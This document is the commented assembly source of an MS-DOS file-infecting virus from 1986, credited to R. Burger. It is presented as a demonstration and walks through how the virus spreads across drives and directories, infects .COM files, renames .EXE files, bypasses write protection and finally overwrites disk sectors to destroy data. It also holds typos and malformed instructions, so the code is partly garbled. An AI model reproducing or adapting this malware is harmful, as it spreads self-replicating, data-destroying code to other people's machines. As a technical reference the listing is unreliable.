;                        Virus in Assembly Language
;                        --------------------------

;Most viruses out there have been written in assembly because assembly has the
;unique ability to bypass operating system security.
;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
;compiled in the later versions. The article contains remarks so as to further
;explain the parts. Programmers may wish to delete those segments if desired.

;**************************************************
;   Program Virus        
;   Version 1.1
;   Writter : R. Burger
;   Created 1986
;   This is a demonstration program for computer 
;   viruses. It has the ability to replace itself.
;   and thereby modify other programs. Enjoy.
;**************************************************

Code   Segment
       Assume  CS:Code
progr  equ 100h
       ORG progr

;**************************************************
;   The three NOP's serve as the marker byte of the  
;   virus which allow it to identify a virus.
;**************************************************

MAIN:
       nop
       nop
       nop

;**************************************************
;   Initialize the pointers
;**************************************************

       mov ax,00
       mov es:[pointer],ax
       mov es:[counter],ax
       mov es:[disks],al

;**************************************************
;   Get the selected drive
;**************************************************

       mov ah,19h             ;drive?
       int 21h    

;**************************************************
;   Get the current path on the current drive
;**************************************************

       mov cs:drive,al        ;save drive
       mov ah,47h             ;dir?
       mov dh,0               
       add al,1
       mov dl,al              ;in actual drive
       lea si,cs:old_path     ;
       int 21h

;**************************************************
;   Get the number of drives present. If only one   
;   is present, the pointer for the search order
;   will be set to serach order + 6
;**************************************************

       mov as,0eh             ;how many disks 
       mov dl,0               ;
       int 21h

       mov al,01
       cmp al,01              ;one drive
       jnz hups3
       mov al,06
       
hups3: mov ah,0
       lea bx,search_order
       add bx,ax
       add bx,0001h
       mov cs:pointer,bx
       clc

;**************************************************
;   Carry is set, if no more .COM's are found.      
;   Then, to avoid unnecessary work, .EXE files will
;   be renamed to .COM files and infected.
;   This causes the error message "Program to large
;   to fit memory" when starting larger infected
;   EXE programs.
;*************************************************

change_disk:
      jnc no_name_change
      mov ah,17h              ;change .EXE to .COM
      lea dx,cs:maske_exe
      int 21h
      cmp al,0ffh
      jnz no_name_change      ;.EXE found?

;****************************************************
;   If neither  .COM nor .EXE is found then sectors
;   will be overwritten depending on the system time
;   in milliseconds. This is the time of the complete
;   "infection" of a storage medium. The virus can
;   find nothing more to infect and starts its destruction
;*****************************************************   

      mov ah,2ch              ; read system clock
      int 21h
      mov bx,cs:pointer
      mov al,cs:[bx]
      mov bx,dx
      mov cx,2
      mov dh,0
      int 26h                 ; write crap on disk

;******************************************************
;   Check if the end of the search order table has been
;   reached . If so, end.
;******************************************************

no_name_change:
      mov bx,cs:pointer
      dec bx
      mov cs:pointer,bx
      mov dl,cs:[bx]
      cmp dl,0ffh
      jnz hups2
      jmp hops
      
;****************************************************
;   Get new drive from the search order table and
;   select it .
;***************************************************

hups2:
      mov ah,0eh
      int 21h                    ;change disk

;***************************************************
;   Start in the root directory
;***************************************************  

      mov ah,3bh                 ;change path
      lea dx,path
      int 21h
      jmp find_first_file

;**************************************************
;   Starting from the root, search for the first
;   subdir. FIrst convert all .EXE files to .COM
;   in the old directory
;**************************************************

find_first_subdir:
      mov ah,17h                 ;change .exe to .com
      lea dx,cs:maske_exe
      int 21h
      mov ah,3bh                 ;use root directory
      lea dx,path
      int 21h
      mov ah,04eh                ;search for first subdirectory
      mov cx,00010001b           ;dir mask
      lea dx,maske_dir           ;
      int 21h                    ;
      jc change_disk
      mov bx,CS:counter
      INC,BX
      DEC bx
      jz  use_next_subdir

;*************************************************
;   Search for the next subdirectory. If no more
;   directories are found, the drive will be changed.
;*************************************************

find_next_subdir:
      mov ah,4fh               ; search for next subdir
      int 21h 
      jc change_disk
      dec bx
      jnz find_next_subdir

;*************************************************
;   Select found directory.
;**************************************************

use_next_subdir:      
      mov ah,2fh               ;get dta address
      int 21h
      add bx,1ch
      mov es:[bx],'\`          ;address of name in dta
      inc bx
      push ds
      mov ax,es
      mov ds,ax
      mov dx,bx
      mov ah,3bh               ;change path
      int 21h
      pop ds
      mov bx,cs:counter
      inc bx
      mov CS:counter,bx

;**************************************************
;    Find first .COM file in the current directory.
;    If there are none, search the next directory.
;**************************************************

find_first_file:
      mov ah,04eh              ;Search for first
      mov cx,00000001b         ;mask
      lea dx,maske_com         ;
      int 21h                  ;
      jc find_first_subdir
      jmp check_if_ill

;**************************************************
;   If program is ill(infected) then search for
;   another other.
;************************************************** 

find_next_file:
      mov ah,4fh               ;search for next
      int 21h
      jc find_first_subdir

;*************************************************
;   Check is already infected by virus.
;**************************************************

check_if_ill:
      mov ah,3dh              ;open channel
      mov al,02h              ;read/write
      mov dx,9eh              ;address of name in dta 
      int 21
      mov bx,ax               ;save channel
      mov ah,3fh              ; read file
      mov ch,buflen           ;
      mov dx,buffer           ;write in buffer
      int 21h 
      mov ah,3eh              ;close file
      int 21h  

;***************************************************
;   This routine will search the three NOP's(no 
;   operation).If present there is already an infection.
;   We must then continue the search
;****************************************************

     mov bx,cs:[buffer]
     cmp bx,9090h
     jz find_next_file

;***************************************************
;   This routine will BY PASS MS-DOS WRITE PROTECTION
;   if present. Very important !
;***************************************************

     mov ah,43h               ;write enable
     mov al,0          
     mov dx,9eh               ;address of name in dta
     int 21h 
     mov ah,43h
     mov al,01h
     and cx,11111110b
     int 21h

;****************************************************
;   Open file for read/write access.
;*****************************************************

     mov ah,3dh               ;open channel
     mov al,02h               ;read/write
     mov dx,9eh               ;address of name in dta
     int 21h

;****************************************************
;   Read date entry of program and save for future
;   use.
;****************************************************

    mov bx,ax                ;channel
    mov ah,57h               ;get date
    mov al.0
    int 21h
    push cx                  ;save date
    push dx 

;****************************************************
;   The jump located at address 0100h of the program
;   will be saved for further use.
;*****************************************************

    mov dx,cs:[conta]        ;save old jmp
    mov cs:[jmpbuf],dx
    mov dx,cs:[buffer+1]     ;save new jump
    lea cx,cont-100h
    sub dx,cx
    mov cs:[conta],dx

;***************************************************** 
;   The virus copies itself to the start of the file. 
;***************************************************** 

    mov ah,57h               ;write date
    mov al,1         
    pop dx
    pop cx                   ;restore date
    int 21h

;*****************************************************
;   Close the file.
;*****************************************************

    mov ah,3eh               ;close file
    int 21h

;*****************************************************
;   Restore the old jump address. The virus saves at
;   address "conta" the jump which was at the start of
;   the host program.
;   This is done to preserve the executability of the
;   host program as much as possible.
;   After saving it still works with the jump address
;   contained in the virus. The jump address in the 
;   virus differs from the jump address in memory.
;****************************************************

    mov dx,cs:[jmpbuf]       ;restore old jump
    mov cs:[conta],dx
hops:  nop
       call use_old

;****************************************************
;   Continue with the host program.
;****************************************************
    
cont    db 0e9h                ;make jump
conta   dw 0
        mov ah,00
        int 21h    

;***************************************************
;   Reactivate the selected drive at the start of  
;   the program.
;***************************************************
 
use_old:
        mov ah,0eh             ;use old drive
        mov dl,cs:drive 
        int 21h 

;*************************************************** 
;    Reactivate the selected path at the start of
;    the program.
;***************************************************

        mov ah,3bh             ;use old drive
        lea dx,old_path-1      ;get old path and backslash
        int 21h
        ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer      dw   0000           ;pointer f. search order
counter      dw   0000           ;counter f. nth. search 
disks        db    0             ;number of disks

maske_com    db "*.com",00       ;search for com files
maske_dir    db "*",00           ;search for dir's
maske_exe    db offh,0,0,0,0,0,00111111b 
             db 0,"????????exe",0,0,0,0
             db 0,"????????com",0
maske_all    db offh,0,0,0,0,0,00111111b
             db 0,"???????????",0,0,0,0
             db 0,"????????com",0

buffer equ 0e00h                 ;a safe place

buflen equ 230h                  ;lenght of virus!!!!
                                 ;carefull
                                 ;if changing!!!!
jmpbuf equ buffer+buflen         ;a safe place for jmp
path  db "\",0                   ;first place
drive db 0                       ;actual drive
back_slash db "\"
old_path db 32 dup (?)           ;old path

code ends

end main

;[ END OF THIS VIRUS PROGRAM ]